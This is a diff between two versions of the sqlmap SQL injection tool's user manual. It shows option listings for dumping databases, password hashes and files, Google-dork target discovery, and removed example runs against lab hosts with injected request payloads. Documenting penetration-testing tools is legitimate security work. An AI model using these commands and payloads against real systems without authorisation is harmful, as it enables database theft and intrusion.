     --auth-cred=ACRED   HTTP authentication credentials (name:password)
     --auth-cert=ACERT   HTTP authentication certificate (key_file,cert_file)
     --proxy=PROXY       Use a HTTP proxy to connect to the target url
+    --proxy-cred=PCRED  HTTP proxy authentication credentials (name:password)
     --ignore-proxy      Ignore system default HTTP proxy
-    --threads=THREADS   Maximum number of concurrent HTTP requests (default 1)
     --delay=DELAY       Delay in seconds between each HTTP request
     --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
     --retries=RETRIES   Retries when the connection timeouts (default 3)
     --scope=SCOPE       Regexp to filter targets from provided proxy log
+    --safe-url=SAFURL   Url address to visit frequently during testing
+    --safe-freq=SAFREQ  Test requests between two visits to a given safe url
+
+  Optimization:
+    These options can be used to optimize the performance of sqlmap.
+
+    -o                  Turn on all optimization switches
+    --predict-output    Predict common queries output
+    --keep-alive        Use persistent HTTP(s) connections
+    --null-connection   Retrieve page length without actual HTTP response body
+    --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)
+    --group-concat      Use GROUP_CONCAT MySQL technique in dumping phase
 
   Injection:
     These options can be used to specify which parameters to test for,
-    provide custom injection payloads and how to parse and compare HTTP
-    responses page content when using the blind SQL injection technique.
+    provide custom injection payloads and optional tampering scripts.
 
     -p TESTPARAMETER    Testable parameter(s)
     --dbms=DBMS         Force back-end DBMS to this value
     --os=OS             Force back-end DBMS operating system to this value
     --prefix=PREFIX     Injection payload prefix string
-    --postfix=POSTFIX   Injection payload postfix string
+    --suffix=SUFFIX     Injection payload suffix string
+    --tamper=TAMPER     Use given script(s) for tampering injection data
+
+  Detection:
+    These options can be used to specify how to parse and compare page
+    content from HTTP responses when using blind SQL injection technique.
+
+    --level=LEVEL       Level of tests to perform (1-5, default 1)
+    --risk=RISK         Risk of tests to perform (0-3, default 1)
     --string=STRING     String to match in page when the query is valid
     --regexp=REGEXP     Regexp to match in page when the query is valid
-    --excl-str=ESTRING  String to be excluded before comparing page contents
-    --excl-reg=EREGEXP  Matches to be excluded before comparing page contents
+    --text-only         Compare pages based only on their textual content
 
   Techniques:
-    These options can be used to test for specific SQL injection technique
-    or to use one of them to exploit the affected parameter(s) rather than
-    using the default blind SQL injection technique.
+    These options can be used to tweak how specific SQL injection
+    techniques are tested.
 
-    --stacked-test      Test for stacked queries (multiple statements) support
-    --time-test         Test for time based blind SQL injection
     --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
-    --union-test        Test for UNION query (inband) SQL injection
-    --union-tech=UTECH  Technique to test for UNION query SQL injection
-    --union-use         Use the UNION query (inband) SQL injection to retrieve
-                        the queries output. No need to go blind
+    --union-cols=UCOLS  Range of columns to test for UNION query SQL injection
+    --union-char=UCHAR  Character to use to bruteforce number of columns
 
   Fingerprint:
     -f, --fingerprint   Perform an extensive DBMS version fingerprint
@@ -869,11 +955,13 @@ Options:
     --users             Enumerate DBMS users
     --passwords         Enumerate DBMS users password hashes
     --privileges        Enumerate DBMS users privileges
+    --roles             Enumerate DBMS users roles
     --dbs               Enumerate DBMS databases
     --tables            Enumerate DBMS database tables
     --columns           Enumerate DBMS database table columns
     --dump              Dump DBMS database table entries
     --dump-all          Dump all DBMS databases tables entries
+    --search            Search column(s), table(s) and/or database name(s)
     -D DB               DBMS database to enumerate
     -T TBL              DBMS database table to enumerate
     -C COL              DBMS database table column to enumerate
@@ -886,6 +974,12 @@ Options:
     --sql-query=QUERY   SQL statement to be executed
     --sql-shell         Prompt for an interactive SQL shell
 
+  Brute force:
+    These options can be used to run brute force checks.
+
+    --common-tables     Check existence of common tables
+    --common-columns    Check existence of common columns
+
   User-defined function injection:
     These options can be used to create custom user-defined functions.
 
@@ -896,9 +990,9 @@ Options:
     These options can be used to access the back-end database management
     system underlying file system.
 
-    --read-file=RFILE   Read a file from the back-end DBMS file system
-    --write-file=WFILE  Write a local file on the back-end DBMS file system
-    --dest-file=DFILE   Back-end DBMS absolute filepath to write to
+    --file-read=RFILE   Read a file from the back-end DBMS file system
+    --file-write=WFILE  Write a local file on the back-end DBMS file system
+    --file-dest=DFILE   Back-end DBMS absolute filepath to write to
 
   Operating system access:
     These options can be used to access the back-end database management
@@ -925,15 +1019,26 @@ Options:
     --reg-data=REGDATA  Windows registry key value data
     --reg-type=REGTYPE  Windows registry key value type
 
-  Miscellaneous:
+  General:
+    These options can be used to set some general working parameters.
+
+    -x XMLFILE          Dump the data into an XML file
     -s SESSIONFILE      Save and resume all data retrieved on a session file
+    -t TRAFFICFILE      Log all HTTP traffic into a textual file
     --flush-session     Flush session file for current target
     --eta               Display for each output the estimated time of arrival
-    --gpage=GOOGLEPAGE  Use google dork results from specified page number
     --update            Update sqlmap
     --save              Save options on a configuration INI file
     --batch             Never ask for user input, use the default behaviour
+
+  Miscellaneous:
+    --beep              Alert when sql injection found
+    --check-payload     IDS detection testing of injection payload
     --cleanup           Clean up the DBMS by sqlmap specific UDF and tables
+    --forms             Parse and test forms on target url
+    --gpage=GOOGLEPAGE  Use google dork results from specified page number
+    --parse-errors      Parse DBMS error messages from response pages
+    --replicate         Replicate dumped data into a sqlite3 database

    @@ -942,313 +1047,63 @@ Options:

    5.1 Output verbosity

    -

    Option: -v

    +

    Switch: -v

    -

    Verbose options can be used to set the verbosity level of output messages. -There exist six levels. -The default level is 1 in which -information, warnings, errors and tracebacks (if any occur) will be shown. -Level 2 shows also debug messages, level 3 shows also -full HTTP requests, level 4 shows also HTTP responses headers and -level 5 shows also HTTP responses page content.

    - -

    Example on a MySQL 5.0.67 target (verbosity level 1):

    +

    This switch can be used to set the verbosity level of output messages. +There exist seven levels of verbosity. +The default level is 1 in which information, warning, error and critical messages and Python tracebacks (if any occur) will be displayed.

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1
-
-[hh:mm:58] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
-[hh:mm:58] [INFO] testing connection to the target url
-[hh:mm:58] [INFO] testing if the url is stable, wait a few seconds
-[hh:mm:59] [INFO] url is stable
-[hh:mm:59] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:59] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
-[hh:mm:59] [INFO] testing if GET parameter 'id' is dynamic
-[hh:mm:59] [INFO] confirming that GET parameter 'id' is dynamic
-[hh:mm:59] [INFO] GET parameter 'id' is dynamic
-[hh:mm:59] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
-[hh:mm:59] [INFO] testing unescaped numeric injection on GET parameter 'id'
-[hh:mm:59] [INFO] confirming unescaped numeric injection on GET parameter 'id'
-[hh:mm:59] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
-[hh:mm:59] [INFO] testing for parenthesis on injectable parameter
-[hh:mm:59] [INFO] the injectable parameter requires 0 parenthesis
-[hh:mm:59] [INFO] testing MySQL
-[hh:mm:59] [INFO] confirming MySQL
-[hh:mm:59] [INFO] retrieved: 0
-[hh:mm:59] [INFO] the back-end DBMS is MySQL
-
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: MySQL >= 5.0.0
-
    -
    +

    -

    Example on a MySQL 5.0.67 target (verbosity level 2):

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 2
-
-[hh:mm:22] [DEBUG] initializing the configuration
-[hh:mm:22] [DEBUG] initializing the knowledge base
-[hh:mm:22] [DEBUG] cleaning up configuration parameters
-[hh:mm:22] [DEBUG] setting the HTTP timeout
-[hh:mm:22] [DEBUG] setting the HTTP method to GET
-[hh:mm:22] [DEBUG] creating HTTP requests opener object
-[hh:mm:22] [DEBUG] parsing XML queries file
-[hh:mm:22] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
-[hh:mm:22] [INFO] testing connection to the target url
-[hh:mm:22] [INFO] testing if the url is stable, wait a few seconds
-[hh:mm:23] [INFO] url is stable
-[hh:mm:23] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:23] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
-[hh:mm:23] [INFO] testing if GET parameter 'id' is dynamic
-[hh:mm:23] [DEBUG] setting match ratio to 0.743
-[hh:mm:23] [INFO] confirming that GET parameter 'id' is dynamic
-[hh:mm:23] [INFO] GET parameter 'id' is dynamic
-[hh:mm:23] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
-[hh:mm:23] [INFO] testing unescaped numeric injection on GET parameter 'id'
-[hh:mm:23] [INFO] confirming unescaped numeric injection on GET parameter 'id'
-[hh:mm:23] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
-[hh:mm:23] [INFO] testing for parenthesis on injectable parameter
-[hh:mm:23] [INFO] the injectable parameter requires 0 parenthesis
-[hh:mm:23] [INFO] testing MySQL
-[hh:mm:23] [INFO] confirming MySQL
-[hh:mm:23] [DEBUG] query: SELECT 2 FROM information_schema.TABLES LIMIT 0, 1
-[hh:mm:23] [INFO] retrieved: 2
-[hh:mm:23] [DEBUG] performed 7 queries in 0 seconds
-[hh:mm:23] [INFO] the back-end DBMS is MySQL
-
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: MySQL >= 5.0.0
-
    -
    -

    - -

    Example on a MySQL 5.0.67 target (verbosity level 3):

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 3
-
-[hh:mm:53] [DEBUG] initializing the configuration
-[hh:mm:53] [DEBUG] initializing the knowledge base
-[hh:mm:53] [DEBUG] cleaning up configuration parameters
-[hh:mm:53] [DEBUG] setting the HTTP timeout
-[hh:mm:53] [DEBUG] setting the HTTP method to GET
-[hh:mm:53] [DEBUG] creating HTTP requests opener object
-[hh:mm:53] [DEBUG] parsing XML queries file
-[hh:mm:53] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
-[hh:mm:53] [INFO] testing connection to the target url
-[hh:mm:53] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 172.16.213.131
-Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
-User-agent: sqlmap/0.8
-Connection: close
-[...]
-[hh:mm:54] [INFO] testing MySQL
-[hh:mm:54] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int.php?id=1%20AND%20CONNECTION_ID%28%29=CONNECTION_ID%28%29%20AND%202385=2385 HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 172.16.213.131
-Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
-User-agent: sqlmap/0.8
-Connection: close
-[...]
-
    -
    -

    - -

    Example on a MySQL 5.0.67 target (verbosity level 4):

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 4
-
-[...]
-[hh:mm:20] [DEBUG] initializing the configuration
-[hh:mm:20] [DEBUG] initializing the knowledge base
-[hh:mm:20] [DEBUG] cleaning up configuration parameters
-[hh:mm:20] [DEBUG] setting the HTTP timeout
-[hh:mm:20] [DEBUG] setting the HTTP method to GET
-[hh:mm:20] [DEBUG] creating HTTP requests opener object
-[hh:mm:20] [DEBUG] parsing XML queries file
-[hh:mm:20] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
-[hh:mm:20] [INFO] testing connection to the target url
-[hh:mm:20] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 172.16.213.131
-Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
-User-agent: sqlmap/0.8
-Connection: close
-
-[hh:mm:20] [TRAFFIC IN] HTTP response (OK - 200):
-Date: Sat, 20 Feb 2010 17:43:00 GMT
-Server: Apache/2.2.9
-X-Powered-By: PHP/5.2.6-1+lenny4
-Vary: Accept-Encoding
-Content-Length: 127
-Connection: close
-Content-Type: text/html
-[...]
-
    -
    -

    - -

    Example on a MySQL 5.0.67 target (verbosity level 5):

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 5
-
-[hh:mm:47] [DEBUG] initializing the configuration
-[hh:mm:47] [DEBUG] initializing the knowledge base
-[hh:mm:47] [DEBUG] cleaning up configuration parameters
-[hh:mm:47] [DEBUG] setting the HTTP timeout
-[hh:mm:47] [DEBUG] setting the HTTP method to GET
-[hh:mm:47] [DEBUG] creating HTTP requests opener object
-[hh:mm:47] [DEBUG] parsing XML queries file
-[hh:mm:47] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
-[hh:mm:47] [INFO] testing connection to the target url
-[hh:mm:47] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 172.16.213.131
-Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
-User-agent: sqlmap/0.8
-Connection: close
-
-[hh:mm:47] [TRAFFIC IN] HTTP response (OK - 200):
-Date: Sat, 20 Feb 2010 17:44:27 GMT
-Server: Apache/2.2.9
-X-Powered-By: PHP/5.2.6-1+lenny4
-Vary: Accept-Encoding
-Connection: close
-Transfer-Encoding: chunked
-Content-Type: text/html
-
-<html><body>
-<b>SQL results:</b>
-<table border="1">
-<tr><td>1</td><td>luther</td><td>blissett</td></tr>
-</table>
-</body></html>
-[...]
-
    -
    -

    +

    A reasonable level of verbosity to further understand what sqlmap does under the hood is level 2, primarily for the detection phase and the take-over functionalities. Whereas if you want to see the SQL payloads the tools sends, level 3 is your best choice. +In order to further debug potential bugs or unexpected behaviours, we recommend you to set the verbosity to level 4 or above. This level is recommended to be used when you feed the developers with a bug report too.

    5.2 Target

    -

    At least one of these options has to be specified to set the source to get -target addresses from.

    +

    At least one of these options has to be provided.

    Target URL

    -

    Option: -u or --url

    - -

    To run sqlmap against a single target URL.

    - -

    Example on a MySQL 5.0.67 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1"
-
-[...]
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: MySQL 5
-
    -
    -

    +

    Switch: -u or --url

    +

    Run sqlmap against a single target URL. This switch requires an argument +which is the target URL in the form http(s)://targeturl/[...].

    Parse targets from Burp or WebScarab proxy logs

    -

    Option: -l

    +

    Switch: -l

    Rather than providing a single target URL, it is possible to test and -inject on HTTP requests proxied through -Burp proxy -or -WebScarab proxy.

    - -

    Example passing to sqlmap a WebScarab proxy conversations/ folder:

    -

    -

    -
    -$ python sqlmap.py -l /tmp/webscarab.log/conversations/
-
-[hh:mm:43] [INFO] sqlmap parsed 27 testable requests from the targets list
-[hh:mm:43] [INFO] sqlmap got a total of 27 targets
-[hh:mm:43] [INPUT] url 1:
-GET http://172.16.213.131/phpmyadmin/navigation.php?db=test&token=60747016432606019619a
-c58b3780562
-Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3; phpMyAdmin=366c9c9b329a98eabb4b708c2df8b
-d7d392eb151; pmaCookieVer=4; pmaPass-1=uH9%2Fz5%2FsB%2FM%3D; pmaUser-1=pInZx5iWPrA%3D; 
-pma_charset=iso-8859-1; pma_collation_connection=utf8_unicode_ci; pma_fontsize=deleted; 
-pma_lang=en-utf-8; pma_mcrypt_iv=o6Mwtqw6c0c%3D; pma_theme=deleted
-do you want to test this url? [Y/n/q] n
-[hh:mm:46] [INPUT] url 2:
-GET http://172.16.213.131/sqlmap/mysql/get_int.php?id=1
-Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3
-do you want to test this url? [Y/n/q] y
-[hh:mm:49] [INFO] testing url http://172.16.213.131/sqlmap/mysql/get_int.php?id=1
-[hh:mm:49] [INFO] testing connection to the target url
-[hh:mm:49] [INFO] testing if the url is stable, wait a few seconds
-[hh:mm:50] [INFO] url is stable
-[hh:mm:50] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:50] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
-[hh:mm:50] [INFO] testing if Cookie parameter 'PPA_ID' is dynamic
-[hh:mm:50] [WARNING] Cookie parameter 'PPA_ID' is not dynamic
-[hh:mm:50] [INFO] testing if GET parameter 'id' is dynamic
-[hh:mm:50] [INFO] confirming that GET parameter 'id' is dynamic
-[hh:mm:50] [INFO] GET parameter 'id' is dynamic
-[hh:mm:50] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
-[hh:mm:50] [INFO] testing unescaped numeric injection on GET parameter 'id'
-[hh:mm:50] [INFO] confirming unescaped numeric injection on GET parameter 'id'
-[hh:mm:50] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
-[hh:mm:50] [INPUT] do you want to exploit this SQL injection? [Y/n] y
-[hh:mm:29] [INFO] testing for parenthesis on injectable parameter
-[hh:mm:29] [INFO] the injectable parameter requires 0 parenthesis
-[hh:mm:29] [INFO] testing MySQL
-[hh:mm:29] [INFO] retrieved: 99
-[hh:mm:29] [INFO] confirming MySQL
-[hh:mm:29] [INFO] retrieved: 1
-[hh:mm:29] [INFO] retrieved: 9
-web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: MySQL >= 5.0.0
-[...]
-
    -
    -

    - +inject against HTTP requests proxied through +Burp proxy or +WebScarab proxy This switch requires an argument which is the +proxy's HTTP requests log file.

    Load HTTP request from a file

    -

    Option: -r

    +

    Switch: -r

    -

    One of the possibilities of sqlmap is loading of complete HTTP -request packet stored in textual file. That way you can skip usage of -bunch of other options.

    +

    One of the possibilities of sqlmap is loading of complete HTTP request +from a textual file. That way you can skip usage of bunch of other +options (e.g. setting of cookies, POSTed data, etc).

    -

    Sample content of a HTTP request file:

    +

    Sample content of a HTTP request file provided as argument to this switch:

     POST /sqlmap/mysql/post_int.php HTTP/1.1
-Host: 172.16.213.131
+Host: 192.168.136.131
 User-Agent: Mozilla/4.0
 
 id=1
@@ -1256,49 +1111,18 @@ id=1

    -

    Example usage:

    -

    -

    -
    -$ python sqlmap.py -r request.txt
-
-[...]
-[hh:mm:27] [INFO] parsing HTTP request from 'request.txt'
-[...]
-[hh:mm:21] [INFO] testing if POST parameter 'id' is dynamic
-[hh:mm:22] [INFO] confirming that POST parameter 'id' is dynamic
-[hh:mm:22] [INFO] POST parameter 'id' is dynamic
-[hh:mm:22] [INFO] testing sql injection on POST parameter 'id' with 0 parenthesis
-[hh:mm:22] [INFO] testing unescaped numeric injection on POST parameter 'id'
-[hh:mm:22] [INFO] confirming unescaped numeric injection on POST parameter 'id'
-[hh:mm:22] [INFO] POST parameter 'id' is unescaped numeric injectable with 0 parenthesis
-[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
-[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
-[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
-[hh:mm:22] [INFO] testing MySQL
-[hh:mm:22] [INFO] confirming MySQL
-[hh:mm:22] [INFO] retrieved: 3
-[hh:mm:22] [INFO] the back-end DBMS is MySQL
-web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
-web application technology: PHP 5.2.4, Apache 2.2.8
-back-end DBMS: MySQL >= 5.0.0
-
    -
    -

    - -

    Process Google dork results as target addresses

    -

    Option: -g

    +

    Switch: -g

    It is also possible to test and inject on GET parameters on the results of your Google dork.

    This option makes sqlmap negotiate with the search engine its session cookie to be able to perform a search, then sqlmap will retrieve Google -first 100 results for the Google dork expression with GET parameters -asking you if you want to test and inject on each possible affected URL.

    +first 100 results for the Google dork expression with GET +parameters asking you if you want to test and inject on each possible +affected URL.

    Example of Google dorking with expression site:yourdomain.com ext:php:

    @@ -1321,15 +1145,6 @@ url? [y/N/q] n GET http://thirdlevel.yourdomain.com/news/example3.php?today=483, do you want to test this url? [y/N/q] y [hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example3.php?today=483 -[hh:mm:45] [INFO] testing if the url is stable, wait a few seconds -[hh:mm:49] [INFO] url is stable -[hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic -[hh:mm:51] [INFO] confirming that GET parameter 'today' is dynamic -[hh:mm:53] [INFO] GET parameter 'today' is dynamic -[hh:mm:54] [INFO] testing sql injection on GET parameter 'today' -[hh:mm:56] [INFO] testing numeric/unescaped injection on GET parameter 'today' -[hh:mm:57] [INFO] confirming numeric/unescaped injection on GET parameter 'today' -[hh:mm:58] [INFO] GET parameter 'today' is numeric/unescaped injectable [...] @@ -1338,688 +1153,428 @@ want to test this url? [y/N/q] y

    Load options from a configuration INI file

    -

    Option: -c

    +

    Switch: -c

    It is possible to pass user's options from a configuration INI file, an example is sqlmap.conf.

    -

    Example usage:

    -

    -

    -
    -$ python sqlmap.py -c "sqlmap.conf"
-
-[hh:mm:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
-[hh:mm:42] [WARNING] GET parameter 'cat' is not dynamic
-back-end DBMS:  MySQL >= 5.0.0
-
    -
    -

    -

    Note that if you also provide other options from command line, those are -evaluated when running sqlmap and overwrite the same options, if set, in -the provided configuration file.

    +evaluated when running sqlmap and overwrite those provided in the +configuration file.

    5.3 Request

    -

    These options can be used to specify how to connect to the target -application.

    +

    These options can be used to specify how to connect to the target url.

    -

    HTTP method: GET or POST

    +

    HTTP data

    -

    Options: --method and --data

    +

    Option: --data

    By default the HTTP method used to perform HTTP requests is GET, -but you can change it to POST and provide the data to be sent -through POST request. Such data, being those parameters, are -tested for SQL injection like the GET parameters.

    - -

    Example on an Oracle XE 10.2.0.1 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/post_int.php" --method POST \
-  --data "id=1"
-
-[hh:mm:53] [INFO] testing connection to the target url
-[hh:mm:53] [INFO] testing if the url is stable, wait a few seconds
-[hh:mm:54] [INFO] url is stable
-[hh:mm:54] [INFO] testing if POST parameter 'id' is dynamic
-[hh:mm:54] [INFO] confirming that POST parameter 'id' is dynamic
-[hh:mm:54] [INFO] POST parameter 'id' is dynamic
-[hh:mm:54] [INFO] testing sql injection on POST parameter 'id'
-[hh:mm:54] [INFO] testing numeric/unescaped injection on POST parameter 'id'
-[hh:mm:54] [INFO] confirming numeric/unescaped injection on POST parameter 'id'
-[hh:mm:54] [INFO] POST parameter 'id' is numeric/unescaped injectable
-[...]
-[hh:mm:54] [INFO] testing Oracle
-[hh:mm:54] [INFO] retrieved: 9
-[hh:mm:54] [INFO] confirming Oracle
-[hh:mm:54] [INFO] retrieved: 10.2.0.1.0
-web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS:    Oracle
-
    -
    -

    +but you can implicitly change it to POST by providing the data to +be sent in the POST requests. Such data, being those parameters, +are tested for SQL injection as well as any provided GET +parameters.

    HTTP Cookie header

    -

    Options: --cookie, --cookie-urlencode and --drop-set-cookie

    +

    Switches: --cookie, --drop-set-cookie +and --cookie-urlencode

    -

    This feature can be useful in two scenarios:

    +

    This feature can be useful in two ways:

    -

    The steps to go through in the second scenario are the following:

    +

    Either reason brings you to need to send cookies with sqlmap requests, the +steps to go through are the following:

    -

    Example on a Microsoft SQL Server 2000 Service Pack 0 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/cookie_int.php" --cookie \
-  "id=1" -v 1
-
-[hh:mm:37] [INFO] testing connection to the target url
-[hh:mm:37] [INFO] testing if the url is stable, wait a few seconds
-[hh:mm:38] [INFO] url is stable
-[hh:mm:38] [INFO] testing if Cookie parameter 'id' is dynamic
-[hh:mm:38] [INFO] confirming that Cookie parameter 'id' is dynamic
-[hh:mm:38] [INFO] Cookie parameter 'id' is dynamic
-[hh:mm:38] [INFO] testing sql injection on Cookie parameter 'id'
-[hh:mm:38] [INFO] testing numeric/unescaped injection on Cookie parameter 'id'
-[hh:mm:38] [INFO] confirming numeric/unescaped injection on Cookie parameter 'id'
-[hh:mm:38] [INFO] Cookie parameter 'id' is numeric/unescaped injectable
-[...]
-
    -
    -

    -

    Note that the HTTP Cookie header values are usually separated by -a ; character, not by an &.

    +a ; character, not by an &. sqlmap can +recognize these as separate sets of parameter=value too, as well +as GET and POST parameters.

    -

    If the web application at first HTTP response has a Set-Cookie -header, sqlmap will automatically use it's value in all further HTTP -requests as the Cookie header. sqlmap will also automatically -test that value for SQL injection, except if you run it with ---drop-set-cookie option.

    +

    If at any time during the communication, the web application responds with +Set-Cookie headers, sqlmap will automatically use its value in +all further HTTP requests as the Cookie header. sqlmap will also +automatically test those values for SQL injection. This can be avoided by +providing the switch --drop-set-cookie - sqlmap will +ignore any coming Set-Cookie header.

    -

    Example on a Microsoft SQL Server 2000 Service Pack 0 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.128/sqlmap/get_str.asp?name=luther" -v 3
+
    Vice versa, if you provide a HTTP Cookie header with
+--cookie switch and the target URL sends an HTTP
+Set-Cookie header at any time, sqlmap will ask you which set of
+cookies to use for the following HTTP requests.
    
 
-[...]
-[hh:mm:39] [INFO] testing connection to the target url
-[hh:mm:39] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/get_str.asp?name=luther HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 172.16.213.128:80
-Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
-image/png,*/*;q=0.5
-User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
-Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
-Connection: close
+
    sqlmap by default does not URL-encode generated cookie payloads,
+but you can force it by using the --cookie-urlencode
+switch. Cookie content encoding is not declared by HTTP protocol standard
+in any way, so it is solely the matter of web application's behaviour.
    
 
-[...]
-[hh:mm:40] [INFO] url is stable
-[...]
-[hh:mm:40] [INFO] testing if Cookie parameter 'ASPSESSIONIDSABTRCAS' is dynamic
-[hh:mm:40] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/get_str.asp?name=luther HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 172.16.213.128:80
-Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
-image/png,*/*;q=0.5
-Cookie: ASPSESSIONIDSABTRCAS=469
-User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
-Connection: close
-
-[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
-[...]
-
    -
    -

    - -

    If you provide an HTTP Cookie header value and the target URL -sends an HTTP Set-Cookie header, sqlmap asks you which one to use -in the following HTTP requests.

    - -

    Example on a Microsoft SQL Server 2000 Service Pack 0 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.128/sqlmap/get_str.asp?name=luther" --cookie "id=1"
-
-[hh:mm:51] [INPUT] you provided an HTTP Cookie header value. The target url provided its
-own Cookie within the HTTP Set-Cookie header. Do you want to continue using the HTTP cookie
-values that you provided? [Y/n] 
-
    -
    -

    - -

    sqlmap by default doesn't URL encode generated cookie injections, but you can force it by -using the --cookie-urlencode flag. Cookie content encoding is not declared -by standard in any way, so it's solely the matter of web application's behaviour.

    +

    Note that also the HTTP Cookie header is tested against SQL +injection if the --level is set to 2 or above. +Read below for details.

    HTTP User-Agent header

    -

    Options: --user-agent and -a

    +

    Switches: --user-agent and --random-agent

    -

    By default sqlmap perform HTTP requests providing the following HTTP -User-Agent header value:

    +

    By default sqlmap performs HTTP requests with the following User-Agent +header value:

    -sqlmap/0.8 (http://sqlmap.sourceforge.net)
+sqlmap/0.9 (http://sqlmap.sourceforge.net)

    -

    It is possible to fake it with the --user-agent option.

    +

    However, it is possible to fake it with the --user-agent +switch by providing custom User-Agent as the switch argument.

    -

    Example on an Oracle XE 10.2.0.1 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" \
-  --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
-
-[...]
-[hh:mm:02] [INFO] testing connection to the target url
-[hh:mm:02] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 172.16.213.131
-Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
-image/png,*/*;q=0.5
-User-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
-Connection: close
-[...]
-
    -
    -

    - -

    Providing a text file, ./txt/user-agents.txt or any other -file containing a list of at least one user agent, to the -a -option, sqlmap will randomly select a User-Agent from the file -and use it for all HTTP requests.

    - -

    Example on a MySQL 5.0.67 target:

    -

    -

    -
